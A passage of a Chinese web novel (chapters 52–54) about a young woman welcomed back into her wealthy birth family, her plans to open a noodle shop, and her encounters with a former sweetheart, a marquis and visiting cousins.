声音轻颤着喊了句,“爹爹,娘亲,女儿回来了。” 一句话,叫在场的众人无不湿了眼眶。 沈鸿夫妻顾不得脸上的泪水,神情激动双手颤抖着将人扶了起来,“回来就好,回来就好啊,我的儿,咱们回家!回家!” 第52章 此时的沈府,像是一朝扫清了萦绕在众人心中十年的阴霾,终于看见了大大 此时的沈府,像是一朝扫清了萦绕在众人心中十年的阴霾,终于看见了大大的太阳,整个沈府上上下下喜气洋洋,热闹的不像话。 沈鸿更是难得开口,今日府上大喜,每个下人发三个月的月钱,多加个肉菜,以作奖赏。 下人们自是明白二小姐在主子们心中的地位,欣喜的同时内心对二小姐也是愈发的恭敬。 正厅里,一家人亲亲热热的坐下说话。 沈家父母更是老泪纵横,不断擦拭眼泪。 沈知蕴一路主动牵着翠儿的手将人给迎了进来,不叫翠儿感到冷待。 两位兄长的脸色更加柔和,一直陪伴在家人左右。 叶知微归家了。 不,她或许应该叫沈知微了。 或许是别的名字,她还在思趁要不要改名字的时候,沈父却是直接敲定了她的名字,就叫沈知微,不必改了。 其实,原身的本名叫沈知意,但沈家人谁也没提给知微改名的事情,一是因为料定知微不想改,二是沈父了解过,叶父也是用心给女儿起了知微这个名字,不改便不改了,见微知著,也是好名字。 见沈父敲定了名字,她便放下了心来,叫沈知意,总感觉哪里怪怪的,她可是两辈子都是叫知微的,姓改就改了,名字确实是叫习惯了。 她再次给二老恭敬的磕头。 叶知微看看神情带着紧张不甚自在的翠儿,径直牵着翠儿的手,跪在父母身前。 她将眼泪擦净,笑着对双亲道:“爹爹,娘亲,这是翠儿,是女儿认下的妹妹,翠儿曾替我挡过剑,受过伤,是女儿最亲近的人,女儿带她来给爹娘磕头。” 沈父是知道翠儿的,沈母一听这孩子替自己女儿挡过剑,眼泪却是流的更凶了,她不能想象,小女儿这些年到底经历了什么,她不敢想。 丁嬷嬷忙不迭的安抚夫人,心里确实不断的叹气的,要是夫人知道二小姐受了多少委屈,指不定又会犯病呢,她听了都是心疼到无以复加,哎,还是得瞒着啊! 沈父也是眼含泪水,赶紧将二人给扶了起来。 “好孩子,都是好孩子。” “如此爹爹就将翠儿认作义女,便做咱们沈府的三小姐,可好?” 叶知微,不,沈知微自是觉得好,便拉着翠儿给爹娘敬茶,谢过爹娘,如今,她们就算是真的姐妹了。 翠儿不免有些受宠若惊,但是看姐姐朝她不住的点头,便接过丫鬟递过来的茶碗,给二老敬茶后,砰砰的磕了两个实诚的响头,倒是给众人逗笑了。 沈知微连忙将人拉了起来,心疼的看着翠儿的额头,忍不住吹了吹,都磕红了。 翠儿摸摸头,颇有些不好意思。 这是一早沈家人便商量好了,他们早探究过翠儿在知微心中的重要性,且这孩子待知微确如亲姐,他们理应投桃报李恩有重报,好生照顾翠儿。 认作义女,改名沈知翠,最合适不过了。 沈母终于止住了眼泪,接过沈父递过来的匣子时还白了沈府一眼,这么大的事情,也不早些告诉她。 沈父讨好的笑笑,沈母也知不是跟他算账的时候,指不定这爷几个瞒了她多少事情呢。 哎,确实怨她这些年的画地为牢,她像是在瞬间打通了任督二脉,头脑已然变得清醒起来。 她的改变,将会给众人带来不小的惊喜。 沈母起身将匣子递到翠儿手上,笑着道:“这是爹娘与你的见面礼,你姐姐也都有,快拿着。” 言罢沈母又看向知微,不自觉的攥紧了知微的紧张手道:“你的在你房中,等吃过饭,娘带你回你的院子看看可好?” 沈知微自是无不点头,她自是感觉到了沈母对她谨小慎微的讨好,努力叫自己笑的更柔顺一些。 沈知蕴这时也走了过来,牵起翠儿的手道:“翠儿妹妹的院子就安排在二妹的旁边,已经差人收拾出来了,等用过午膳,咱们一起过去看看。” 她忍不住的擦了擦眼角的泪水,这几日她才真切的了解到小妹这一路走来到底经历了什么,内心不由得更加愧疚,她掩住眼底的情绪,继续笑着道:“爹爹前几日就吩咐我挑选了下人,知微和翠儿都和我一样,两个一等丫鬟,四个二等丫鬟,院子里洒扫和看门的丫鬟婆子四个,妹妹觉得可行?” 沈知微哪里会觉得有什么不行的,一个丫鬟都够她使唤的了,这下好了,给了一堆。 知微乖巧点头,“姐姐安排就是,妹妹都听姐姐的。” 翠儿自是一切都听沈知微的,也不住的点头,其实内心是觉得太多了。 沈父也是认为妥当,对大女儿的安排甚为满意。 沈家其余的两名男子,也都奉上了礼物,两位妹妹一人一份,只是知微的要更用心些罢了,已经在摆在知微卧房的榻桌上了。 沈知晖看看天色忍不住道:“小妹一大早就出来了,该饿了,父亲,母亲,是该用午膳了。” 沈母望着小女儿清瘦的小身板,又掉下泪来,“对对,该用膳了,微儿太瘦了些。” 沈知微忙拿着帕子帮娘亲擦泪,俏皮道:“女儿定是随了娘亲,怎么吃都不胖的,娘亲您等会瞧瞧,女儿可能吃了呢。” 沈父看着小女儿耍宝,心中却是更加酸涩,他道了声先用午膳吧,眼神却同长子交汇了一眼。 这几日他们也算是调查了个清楚,已经差人去了临县调查收养女儿那一家去了,有些账,还得好好清算清算。 午膳后沈父本是要将小女儿叫到了书房的,却被自己妻子拦下来了。 沈母不依不挠,竟做小女儿状:“有什么话是我这个当母亲的不能听的,非得去书房说,不成,你们肯定又要瞒着我,便在这偏院说吧,正好一家人都在。” 沈知微同翠儿忍不住偷笑,她倒是真没想到沈母是这样的性子,都四十多了,还跟孩子似的,沈父也不生气,只无奈宠着她,眼睛里满是宠爱。 好好,便叫管家将偏厅的门看好,叫丫鬟上了些茶水,一家人消食说话。 沈父同知微递了个无奈的眼神,几人很有默契的东拉西扯,只说些知微幼时的事情,试图唤醒她小时的记忆。 只是可惜她还是什么都没想起来。 沈母也知道丈夫和孩子糊弄她呢,没聊多长时间便嚷嚷着要送知微和翠儿回院子里去。 尚书府自是不如侯府大。 但也是四进的宅子。 曲水流觞,亭台楼阁,已是春日,庭院中绿意渐显。 知微和翠儿住三进的两个相邻的院子,吉祥苑和如意苑。 两个很普通却带着满满祝福的名字。 沈家的男子们被沈母给撵走了。 “妹妹们的院子,你们跟来作甚,去,跟你父亲去书房去吧,不必跟着。” 男人们一步三回头的走了,沈母紧紧攥着好不容易找回来的女儿,一路风生水起的,气色也好了许多。 她们先来到了翠儿的院子,说不上多大,布置的很温馨,院中两颗桃树开的正盛,葡萄架前还有套石桌石椅,一应丫鬟已经候在院中了。 知微给翠儿递了个不要怕的眼神,拿出小姐的气派来,翠儿点点头,昂首阔步的往前走,竟真有些气势。 只是翠儿虽十四岁了,却是没受过正经的教育的,沈知蕴已经开始考虑给翠儿和知微找夫子的事情了。 翠儿总要独当一面的。 沈知蕴叫知微陪着母亲先回自己院子休息,她陪着翠儿熟悉院子,训诫奴仆。 知微自是信她得,见翠儿也朝她点头,她便携着母亲去了隔壁自己的院子。 一进院子,沈母便又回忆起过去来,“这是你小时候住过的院子,你乳娘弄丢了你之后便伤心过度以死谢罪了,娘啊,是不怨她的,娘更怨自己……” 眼看夫人越说越多,一旁的丁嬷嬷赶紧劝道:“今日大喜的日子,夫人提那伤心事作甚,还是叫小小姐看看这院子的景色,可能回忆起小时候的事来?” 沈母忙不迭擦掉眼泪,“对对,微儿可看看,可能想起什么来?” 沈知微无奈笑了笑,眼睛却看到了花簇旁的秋千上,她脑海中似乎带着些荡秋千的回忆,不光是自己,似乎还有个比她高上一些的小男孩,一边推她,一边问小表妹,还要飞高一点吗? 她不自觉的走进,手扶上了秋千,尝试着坐了上去。 可是,她已经长大了,如今的她已不是小时候的沈知意了,她一坐上双脚脚踏实地的落到了地上,已经没法像小时候一样荡起来了。 她看紧张的望着自己的沈母和丁嬷嬷,笑着道:“只依稀能记起荡过这秋千,别的却是记不起来了。” 沈母已经感到十分欣慰,“记起来一些便好,不着急,你那时才五六岁,怎生能记得那么多,如今回来了,过好当下才是。” 丁嬷嬷也是不住点头,知微笑着称是,转身便见排成两排的丫鬟婆子早已排列整齐,等着向她问安了。 一众丫鬟婆子带着激动和期待的心情向知微问安,为首的两个应是大丫鬟,虽是都穿着同样的服饰,是高些的女子显得却更加干练一些。 “奴婢花影。” “奴婢月痕。” “给二小姐请安。” 知微略微一点头,道了声不必多礼。 她扫视整个院子,府上应是极爱桃花的,院中也有两棵开的正盛的桃树,赶明儿闲来无事倒是可以酿个桃花酒来喝喝,花圃倒也很大,几颗月季花和君子兰开的正好。 接着便是丁嬷嬷在沈母示意下的一顿敲打,背主者轻则发卖,重则杖毙,在如意苑当差,务必尽心尽力,否则,就别怨尚书府狠心了! 沈母陪着沈知微在房中说了会话,虽今日见了女儿病情算是大好,总归是年纪大了,精神却是不济了,在沈知微和丁嬷嬷的劝说下才依依不舍的回了主院去休息。 沈知微自也累了,叫大丫鬟花影去看看隔壁院是否收拾妥当,若是收拾妥当便叫三小姐先休息,午睡之后她再过去。 自己便在月痕的服侍下换上睡衣,接着变躺下了。 她叫月痕退下了,身体很累,心情却是极放松的。 这便是,回家了吧。 她看的极为清楚。 沈父对她不光是带着满满的愧疚,言语间还带着些失而复得的小心翼翼。 沈母也是满眼里都是她。 今日沈知蕴和两位兄长看自己的眼神,泪光闪烁,应是从外人口中了解过自己的过往来了。 她看着打扮着的极为舒适,不光是华丽,还充满了小女儿态的卧房,内心说不感动是假的。 榻桌上的一堆礼物她还未拆,闭上眼睛眯了一会,又想到父亲提及叫她去书房一事,索性也睡不着,便起来了。 室内的火龙烧的正旺,地面铺了一层厚厚的地毯,她光着脚下了地,仔细端详着自己的卧房,月痕听见动静走进来一看,急忙给她披上了衣服,穿上鞋子。 知微笑的腼腆:“乍一归家,我内心也是激动的,有些睡不着,便起来了。” 月痕帮她整理衣裙,见自家姑娘朝她笑的十分好看,忍住不多看了姑娘两眼,红着脸道:“姑娘可真好看,跟画上的仙女一般。” 知微被她说的忍不住又笑了起来,她眼睛弯弯的,像是陷入回忆,“我有个陆姐姐,她才好看呢,她是那种丰腴的美人,我也要吃胖些,长成陆姐姐那种粉面桃花的美人才好。” 说笑间便到了榻上,她边叫月痕说下府中的事情,边拆礼物。 沈父沈母给的匣子是一些银票,房契地契,她翻看后发现尽然有几间商铺,这时花影也回来了,笑着同她行礼后便道吉祥苑已经收拾妥当,三小姐也睡下了。 见知微在看地契,便解释道:“这个匣子丁嬷嬷特别交待过,是老爷和夫人给您从小便备下的部分嫁妆,其中一些商铺的位置都很好,是夫人为您和大小姐一早就备下的。” 知微点点头,心中想的却是既然有了铺子,那做生意这事便可以提上日程了。 花影为她奉上茶盏,笑着补充:“夫人还说咱家家底厚,叫您平日不必省着花,小姐每月月银有三十两,您名下所有铺子的收成和账本每月十五日都会有人送来,大小姐说这几日会过来教您看账本。” 于是,她没午睡,却知道了沈府的一些更加详细的事情。 沈母高氏其父是江南大儒高常兴,其母乃是当时江南富甲一方的聂家长女,高氏出嫁时,可谓是十里红妆,一百多抬嫁妆送了两天两夜才算送完。 当初的沈鸿只是一位将要进京赶考的举子,其家门说不上富贵,只算是个富户。 当时沈鸿拜在高大儒门下,得恩师看中将小女儿嫁给了他,沈鸿在当年先成亲后立业,婚后一举拿下春闱,成了当年的新科状元。 之后更是不负众望,十几年间官至如今户部尚书的位置,可谓是步步高升,平步青云。 沈鸿忠义,得陛下看中,乃陛下亲口所言的大兴肱骨。 在府上,沈鸿与妻子高氏更是伉俪情深,即便高氏患病多年,沈鸿仍是不离不弃,每每高氏发病,都是只亲近女儿一人,沈鸿看的心中难受,几次流下泪来,实为好丈夫。 对子女除了严苛,更是亲力亲为,是个好父亲。 除了亏欠小女儿的,他真的是世间难得的好男儿了。 第53章 索性也没了午睡的意思,叫月痕留下整理她带回来的行礼,她则是带着花影 索性也没了午睡的意思,叫月痕留下整理她带回来的行礼,她则是带着花影去父亲的书房。 她的行礼虽然不多,但是有些是红叶和念秦两位姐姐给她做的衣裳和各种小玩意,她叫人都整理出来,好好放着。 她看了看她现在的衣橱,满满当当的新衣服,从内到外,各种款式各种颜色全都有。 首饰盒也是满满当当的,花影说这只是一部分,小姐的库房里还有十几套头面,都是大小姐和夫人精心挑选的。 哦,她面上不显,实际激动的极了。 银票地契满满当当一匣子,衣裳首饰一天一套一月都穿戴不完。 心里热的不像话,这就是有钱的家人带来的温暖了吗,太他妈暖和了! 这种亲人,请再来一打! 揉了揉忍笑忍到发酸的脸颊,她带着花影慢悠悠的出了门。 她能猜出来父亲之前叫她去书房所要谈的事情。 无非就是她同顾铭珏的那点子事。 反正她是不会再入那劳什子侯府的,且去看爹*爹他们是何想法吧。 她目前是相信带给他如此温暖的家人是不会将她往火坑里推的。 她一进门,便发现两位兄长和姐姐都在。 知微挨个见礼,沈父望着她,再一次红了眼眶。 知微看这情况,哪还不猜不出他们在商谈些什么,便笑着开口:“爹爹,女儿已经回来了,过往的事情,您不必放在心上,伤害我的人,已经被女儿今早亲手解决了,您,您实在不必。” 这一句话,倒叫沈父和众人更加愧疚起来,沈知蕴没忍住过去将人抱在怀中,小声哭着道歉,对不起,小妹,对不起。 哎…… 看样子是真的很愧疚,但是已经过去了,人还得向前看不是。 有些事,总不能揪着不放。 但是好像没一个人觉得她手刃那两人没什么不对的,这点她倒有些意外,她以为沈父会满嘴的大道理,说此事应交由官府处置。 这倒是可以说明,沈家人,骨子里同样都是狠人。 沈知微抽了抽鼻子,笑着笑着眼泪便也流了出来,她趴在沈知蕴的肩头小声道:“姐姐,今日一早我一刀刺向那二人的时候,心里可痛快了,过往的一切都止于那片血泊之下,从那时起,知微便是个全新的知微,有爹娘疼爱,有兄长和姐姐护着,便如此顺遂的度过此生便好。” 沈知蕴放开了她,她继续道:“爹爹和姐姐已因我舍弃了同顾铭珏的婚事,外头关于姐姐的传言,姐姐都毫不在意,妹妹确实做过顾铭珏的妾室,若有朝一日人云亦云人尽皆知,那妹妹便只好赖在家中不出门,由爹娘和兄长养着了,到时候,到时候家人别嫌弃我便是。” 沈父转头擦了擦眼角的泪,轻抚她的头,嗓子低沉浑厚:“爹爹万不会再叫你同那安定侯有任何的关系,你且在家中安心的住着,待三五年之后,你想嫁,爹爹便给你找个稳妥之人,和和美美的过日子,你若不想,爹爹和你两位兄长,自是会养你一辈子,这点,谁都不能改变!咱家的女儿自是养得!也养得起!” 沈知晖双手紧握成拳,接着道:“兄长会守护好你,万不会再叫你受了委屈,你和其他的女儿家一样,想出门出门,想逛街逛街,兄长和爹娘都会支持你,咱们沈家家风如此,不会受外人的闲言碎语所扰,若真有那一天,大不了咱们辞了官,一家人回乡下种田去!” 姜恒附和:“对!若真有那一日!这劳什子京城,咱们便不待了便是!” 这一下,倒叫知微真的感动到无以复加,她也为真正的沈知微感到可惜,这么好的家人。 心口越来越热,她知道,是原身的温度。她轻抚上心口,无论是养父母还是亲生父母,都是极爱你的,从此,我便真的成为你了。 沈知蕴自己还满脸的泪花呢,却早已拿起帕子帮小妹擦泪:“小妹不必觉得困扰,爹爹和二位兄长所说的便是咱们一家人的内心想法,你已吃了太多的苦,从今往后,咱们家只有甜,再不会叫你受一点委屈了,若有,便将那些人打出去,可好?” “也不必担忧姐姐,姐姐才不想嫁人呢,能陪伴在双亲左右,是咱们做儿女最幸福的事情了,这两日先在家休息休息,回头姐姐带你逛遍京城可好?” 见知微点头,沈知蕴心中才算好过了一点。 知微也能感受到了一家人浓重的情谊,对沈知蕴的芥蒂便也少了些,总归是亲姐姐,应该不会害她吧。 自是不会的。 沈父见女儿都如此懂事,满脸欣慰,他点点头继续道:“至于翠儿,你且放心,她今后便是咱们府上的三小姐,过几日为父便请了先生来教她识字和礼仪,若是还有旁的需要,微儿只管提。” 知微点点头,认真道:“女儿想,给翠儿请个女师傅,好学些防身的功夫,不至于,不至于万一出了事情,没法自保。” 沈父自是知道小女儿的意思,一朝被蛇咬,未雨绸缪罢了。 “应该的,你姐姐也是有些功夫在身上的,府上养着几位女师傅,你便也跟着学一些防身之术吧。” 沈父略微思索后继续道:“便从后日开始吧,明日再修整一日,蕴儿一会儿去通知你陈师傅一声,带着你两位妹妹后日便开始练功。只是你二人年龄稍大些了,刚开始定是会吃些苦头的,可能坚持住?” 知微语气坚定,“爹爹放心吧,女儿一定能坚持下来的。” 至于从前在临县的事情,沈父没提,却已经派了人去了临县,关于养家的兄长,有恩报恩,有怨报怨,有些账,还是得清算清算。 知微没想到来沈府的第一晚,能睡的这样好。 兴许是了却了心事,亲手了结了仇人,又或者是她本就是心大的,此时又得到了家人无尽的关爱,她竟然早早的就睡着了。 她睡的很沉,且一夜无梦。 自穿越以来,她还是头一次睡的这样好。 从前总想着怎么活下去,怎么讨好男人。如今,已是一身轻松。 其实不光是她,沈府的众人,都睡了个十年以来最踏实最安稳的好觉。 一觉醒来,神清气爽。 人逢喜事精神爽,高氏一觉醒来,皮肤都好了很多,整个人愈发的显年轻了。 沈父早早的上朝去了,丁嬷嬷帮她换上了鲜亮的衣裙,气温渐渐回暖,不必再穿的那样厚实了。 姐妹三人相携而来,高氏脸上的笑意更甚,她总算是盼来了这一日,也不知道爹娘收到信了没有,鸿哥说早就去了信,也好叫他们也高兴高兴啊。 昨晚上她可是跟丈夫好一顿闹,是正经的闹,丈夫瞒了她太多的事情,即使她再生气再不满,沈鸿也没敢说太多。 高氏清楚,一家人都瞒着她,是怕她再受刺激。她也没多强求,该她知道的时候,她自会知道,她现在看的很开了,不会陷入思想的陷阱里,只是觉得自己应多陪伴儿女,尤其是小女儿。 正好今日天气不错,谈笑间也没感觉到有多冷,便大手一挥带着三个女儿去逛街去。 她已经记不清自己有多少日子没出过府了,想必外头还是那幅热闹的光景。 她不知道知微也是头一次出门逛街。但是沈知蕴心里却是清楚的,小妹来京之后,怕是从未出过安定侯府的大门。 这几日除了懊悔难过,她只想加倍的对小妹好,将过去十年的思念和关心,加倍偿还给她,哪怕此时小妹说想要天上的月亮,她也是会试上一试的。 人生,能有多少十年呢。 沈知微确实是第一次正大光明的外出,她看着眼前琳琅满目的首饰,一时还感觉有些不大真切。 一月之前,她还在谨小慎微的活着,就怕哪一日被男人厌弃,即使能确定顾铭珏对自己有一些情谊,她也是不敢赌的,所以哪怕是对顾铭珏的祖母,她也是百般讨好。 而今,她已踏实的走在京都宽阔大街上,即使不带面纱,也没有人敢强行带走自己。 沈知蕴告诉她,京中的治安很好,叫她不必担忧。 但她今日还是带了面纱的。 无它。 这幅相貌实在惹人,她还是低调些为好。虽然见过她的人也没有几个,但是本着多一事不如少一事的原则,她还是将面孔藏了起来。 其实,还是谨慎惯了。 一连逛了几家铺子,沈知微发现,古人确实是非常有智慧的,每一家店铺都有专门供客人休息的房间,有侍者专门捧着商品去包间供客人挑选,同后世的VIP服务并无不同。 茶水点心一应俱全,实在周到的很。 当然了,这些肯定是给贵人服务的。 知微已经在想她的第一家店铺要做些什么了,虽然她现在衣食无忧,但是她总是想着靠自己的努力来获得些东西,无论是精神上还是物质上,都能得到满足。 还得去趟别苑,找念秦姐姐谈些事情,她想跟着念秦姐姐学些下毒的本事,真的是一朝被蛇咬,她现在像是个不断汲取生命力的海绵,总想叫自己变得强大起来,不用依靠任何人,也有自保的能力。 午膳是在京中的百年老店,一品楼用的。 下马车时,她就那么微一抬头,便正对上楼上顾铭珏灼灼的目光。 还真他妈的巧。 沈知微不动声色的撇开眼,垂首跟着前头的沈母等人进了酒楼。 翠儿应是也认出了顾铭珏,她抱住了姐姐的胳膊,有些紧张的看向她。 沈知微朝她摇摇头,道了声无碍,便反手牵起翠儿的手,大步跟上了娘亲。 沈知蕴在前头不动声色的皱了皱眉头,她看小妹脸色无异,微微放下心来。 身在二楼的,不光有那位侯爷,还有三皇子,也不知这两人因为何事掺和在一起,她心里总有种不详的预感。 安若瑾啧啧两声,“果真是个大美人呢,难怪安定侯不想轻易放手。” 顾铭珏将窗户关上,摩挲着腰间的荷包直视他道,“还未谢过三殿下的帮助呢,若不是殿下差人跟着知微,并且即时出手,知微恐怕,没那么容易将歹人反杀!” 安若瑾权当听不出这话里头的意思,淡笑道:“好说好说,路见不平拔刀相助,都是我大兴的子民,应该的,应该的。” “况且,她也算我未来小姨子,帮她是应该的。” 顾铭珏冷哼一声,未来小姨子?当时他和沈知蕴还有婚约在身呢,这位倒真是一手好算计! 顾铭珏俨然已经动怒,言语见便有些剑拔弩张,“殿下这是不打算装了吗?哼,殿下的人本可以及时将人救下来!却叫她受尽苦楚,此番,仅仅是是为了沈知蕴吗?” 安若瑾将右手五指伸到空中,阳光热烈的透过他的手掌,照的他眯了眯眼睛,无所谓道:“是与不是,安定侯不是清楚的很吗?何必多此一问呢?” 顾铭珏却不气了,淡定自若的笑了两声,给自己倒了杯水,轻啄了两口,“殿下到底想要什么呢,本侯只想抱得美人归,至于殿下,鱼与熊掌,是想兼得了?” 安若瑾却向他走进,面色难得的变得正经起来。 他勾了勾唇角,“不试试怎么知道呢,难道要像你一样,连个宫女轻易都不敢收拾?顾铭珏,你的铮铮铁骨呢?” 安若瑾给自己斟了杯酒,一饮而尽后正视顾铭珏道:“怎么样?敢不敢试试?” 顾铭珏却是清呲一声,拍拍屁股走了。 二人算是不欢而散。 顾氏家规,只忠于大兴子民,忠于陛下。 安若瑾看着顾铭珏离去的背影,倒是一点也不生气,只淡淡对空气说了一句,那些事情,可以叫他知道了,还得他自己查出来,才会相信,啧啧。 空气中不知谁回了句是,属下明白。 便再次归于寂静。 安若瑾无聊的把玩着手上的酒杯,脸上的笑意愈发玩味,顾铭珏,希望你知晓了那些事情,也能如此淡定呢。 第54章   到底是百年老店,口味属实不错,每一道菜品都是精心烹制的,一顿饭 到底是百年老店,口味属实不错,每一道菜品都是精心烹制的,一顿饭吃下来,知微也大体知道了自己的手艺和这种老店的差距。 她想开酒楼的心此时已经消磨了很多。 开酒楼,不光需要手艺,还得有势有人脉,目前钱是有了,势是她爹的,但是人脉好像还没有,还得沉淀沉淀,不着急,她还差的远呢。 她做事向来不是三分钟热度,她要做便必须做好,势必是经过深思熟虑的。 还是先开一家面馆试试水,她是真的爱吃面,做面的手艺也是不错的。针对普通人开一家大众面馆,是她目前创业很好的选择。 成本低,见效快。虽然可能挣不很多钱,但是积累经验是可以的。 她不会因为自己目前千金小姐的身份而停止奋斗的脚步,也不会觉得开面馆是件掉价的事情。 民以食为天,在吃这件事上,她力求吃饱吃好。 心里打定主意开面馆,她便在饭后消食的间隙里跟娘亲她们提了出来。 她没想到,娘亲竟是十分支持她的。 沈知蕴则是更理智一些,跟她分析了利弊,还分享一些自己作为东家的经验,见妹妹心有成算,便没有再说什么,心里也是很赞同小妹的想法的。 谁有都不如自己有。 靠自己才能活成女皇。 娘亲再一次泪眼婆娑的望着小女儿,“微儿若是见到你外祖母便知娘亲为何这般支持你了。娘的外祖家祖上曾是皇商,你外祖母从小便教娘亲如何经商,娘亲比较懒惰,连皮毛都没有学到,如今这么一瞧,倒是咱们微儿遗传了你外祖母经商的天分,娘亲很欣慰,也不知你外祖父外祖母收到信没有,他们要知道微儿回来了,不知得有多高兴呢。” 众人好一阵安慰,高氏也知自己又失态了,忙不迭擦净眼泪,转移了话题。 沈知蕴虽然手里有不少商铺,但是都是高价聘了掌柜的,她算不上有多么懂的经营。 她们出门的时候,被掌柜告知菜金已经被人结过了。 姐妹二人眼神交汇,知微笑了笑,“那咱们便走吧,结便结了,总归是认识一场。” 她根本没放在心上,京都就这么大,那人本就是成心的,遇到便遇到了,没什么大不了。 只是一行人刚走楼下,便遇到了沈知晖同一面容俊美的男子一同进了酒楼。 沈知晖看到娘亲外出了表情还带着些惊讶,又看到妹妹们都在,这才放下心来。 他带着同僚跟娘亲见礼,并介绍同僚给众人认识。 宋言澈没想到竟这么轻易的就见到了知知,知知虽戴着面纱,他却是能在人群中,一眼便认出她来。 他怔愣之后便迅速调整好心情,举止大方谦和的跟高氏见礼,待到沈知晖跟他介绍自己三位妹妹的时候,他也是按下激动的心情,轻声问好。 却听沈知微缓缓上前,微微行礼,道了句,“好久不见了,宋,宋大哥。” 宋言澈乍然听到知知的声音,一时间竟红了眼眶。 这一句话,却叫沈家人大吃一惊。 沈知晖看宋兄此时盯着小妹隐隐有些失态的模样,又想到宋兄的祖籍,心中有些不详的预感。 只是此地却不是说话的地方,高氏也察觉出有些不妥,开口邀请宋言澈得空入府坐坐,便带着三个女儿上了马车。 沈知微捂着胸口,鼻尖略微有些酸涩。 她的心脏,在见到宋言澈的那一瞬,跳动的异常激烈。 待略微平复以后,她索性顺了原主的心意,张口认下了这位故人。 其实,她是有些理解原主的。 在认下亲生父母时,因为并未多深的情感,原主的意识并无多大的波动,只是她身上的血缘在下意识作遂。 毕竟原主一直被叶家父母视为亲生,也从未苛待,她自是跟叶家父母感情更深厚。 而宋言澈,应是原主一直放在心上的人,所以在见到他得时候,原主的意识便会更加明显。 只是相较于初次遇到宋言澈,此时的意识已经弱了很多了。 马车内,知微看着欲言又止的母亲和姐姐,扯了扯嘴角,小声道:“他是从前叶家爹爹的学生,也是邻居,我们从小一起长大。他算是我被拘在院子里的十年,除了爹爹和兄长,接触的唯一外人。” 旁的话,她便没再说下去了。 意义不大了,毕竟二人已经错过了。 沈知蕴仔细观察小妹的表情,朝想要问些什么的娘亲摇了摇头,只怕这位宋公子,从前同小妹的关系并不只是邻居这么简单。 那人看小妹的眼神,分明带着浓浓的情意。 或许,这曾经是桩郎有情妾有意的佳话,最后,有情人却阴差阳错的被拆散了。 总归是已经错过,小妹不想多说,她们也便不问了。 见翠儿紧张的看着她,知微朝她笑笑,拍了拍她的手,问她今日开心吗。 翠儿观她确实无事,这才放下心来,翠儿点点头,看着满满半车厢的东西,笑道:“还是头一次这么逛街呢,大手一挥,这个这个这个不要,其余的都包起来。” 翠儿傻笑道,“这也太爽了。” 众人被翠儿的话给逗笑了,高氏笑道:“以后娘多带你们出来逛逛,这都是小场面。娘今日是逛的很舒服呢,吃的也饱,是得经常出来换换口味。微儿不是想开面馆?明日娘差人带咱们出来吃面,可行?” 知微笑喜盈盈的点头,“娘,晚膳女儿亲自下厨擀面条给家人们尝尝,女儿的手艺,可是这个呢。” 边说边竖起了大拇指,一旁的翠儿盖不住的附和点头,倒叫那娘俩好奇起来,对晚膳充满了期待。 不过沈知蕴见小妹已经恢复了精神,便放下心来。 那边沈知晖却直接将宋言澈带上了自家的马车上,要带他一同回府,他要问个清楚。 沈知晖看着宋言澈的眼神晦暗不明,他就说近日这位同僚对他分外热情了些,明里暗里有意无意的接近,倒叫他有些受宠若惊。 谁不知道宋言澈是寒门入仕的一股清流,今科入仕的佼佼者,不拉帮不结派,不攀附权贵,洁身自好,是翰林院几位大人口中赞不绝口的存在。 宋言澈自是感受到了沈知晖的不满,他躬身致歉,放低了姿态道:“今日之事却为意外,只宋某确为有意接近沈兄,小弟向沈兄致歉,还请沈兄谅解小弟想打听,打听知知的心情,沈兄若是有所不满,尽管朝小弟发泄,小弟万不敢还手的。” 却见沈知晖抱着膀子靠坐在车厢,冷哼了一声,“知知?” “你先跟我解释一下,知知是哪个?!女儿家的闺名,是你个外男随便能叫的吗!” 宋言澈感受到了来自知知亲兄长的强大威压,没忍住擦了擦额头硬着头皮道:“知知便是知微,小弟同知微算是青梅竹马,当初沈某答应了先生,金榜题名后定会迎取知微的。” 宋言澈没忍住叹了口气,“只是,后来,后来,知知被,被……我,我知道时,已经晚了……” “是我对不起先生,我。” 沈知晖还是黑着脸看着这位同僚,淡声道:“你还是回去跟我父亲解释去吧,以后小妹的名讳还请宋兄轻易不要再叫了!” 宋言澈一下子压力更大了,从前见沈大人,是满心的敬仰,现在见沈大人,那便只有紧张了。 说笑间,便到了府门外,虽然有些小插曲,今日逛街还算是圆满了,收获颇丰,知微算是体验了一把古代大家闺秀购物的快乐,感觉属实是不错的。 已经到家了,知微也没打算再戴上面纱,娘几个陆续被婆子扶下马车,便往府里走去。 却听不远处传来一阵急促的马蹄声。 一辆马车急驶而来,还有一个青年似乎在朝她们所在的方向挥手,待走的近的,已经能听到对方大声的呼喊,“姑母!表妹!我来了!姑母!姑母!” 高氏已经认出了来人,没忍住攥住了小女儿的手,高兴道:“是你二表兄,混小子!在路上吵吵嚷嚷的,一点规矩也没有,像什么样子!” 虽是斥责的话,脸上却是极为高兴的。 马车越来越近,待停下,这位青壮活泼的男子一个闪身便从马车上跳了下来,急忙走到高氏身前行礼,“姑母安好,自家中收到了姑父来的书信,侄儿带着几个人先骑马来了,爹爹和娘亲的马车行的慢,还在路上呢。祖父祖母也要来,被爹爹和大伯拦下来了。” 高氏心里一阵暖意,这书信也就刚到家没几日吧,这孩子便马不停蹄的赶来了,兄嫂们也都在路上了,叫人怎能不感动。 二表兄还未说完便直直的望向沈知微的方向,“这是小表妹吧?表妹真好看!我是你二表兄!” 知微还未行礼,却见马车上又缓缓走下来一位男子,已是二月,男子却还身披厚重的白狐裘,刚下马车,便手握成拳,虚磕了几声。 知微转身望去,便对上了男子那双深不见底的眼眸。 实在是惊为天人! 风光霁月,面如冠玉,目若朗星,用这些词语用来形容这男子都不为过。 知微惊叹,这长相实在是太好了些,只是瞧着,好像身体不太好的样子。 男子面色却并不是健康的白皙,带着些虚弱病态,一路奔波,确实憔悴。 高氏和沈知蕴看到来人俱是脸色微变,忙不迭差人搀扶,高氏眉头紧皱,语气气满是关心,“你怎生也来了,一路奔波,身体可还受的住?” 聂斐然弯腰行礼,“斐然见过姑母,几位表妹,斐然身体已好了很多,一路还好,姑母不必担心。” 沈知晖的马车也已经停下,他也没管跟在他身后的宋言澈,笑着跟二表弟打招呼,又见聂斐然身体确也好了很多,挑挑眉故意道:“小妹,你可还记得你斐然哥哥?小时候你总是跟在斐然身后缠着要嫁他呢!” 高氏拧了儿子一把,清斥道,“胡说些什么,赶紧带着斐然进府!” 知微脑海里,推着她荡秋千的男孩一闪而过,她了然,应是这位了。 知微自是也看到了兄长身后已然变了脸色的宋言澈,她撇过脸去,只淡笑不语。 却听聂斐然出声道:“姑母,斐然就是为小表妹之事来的。” 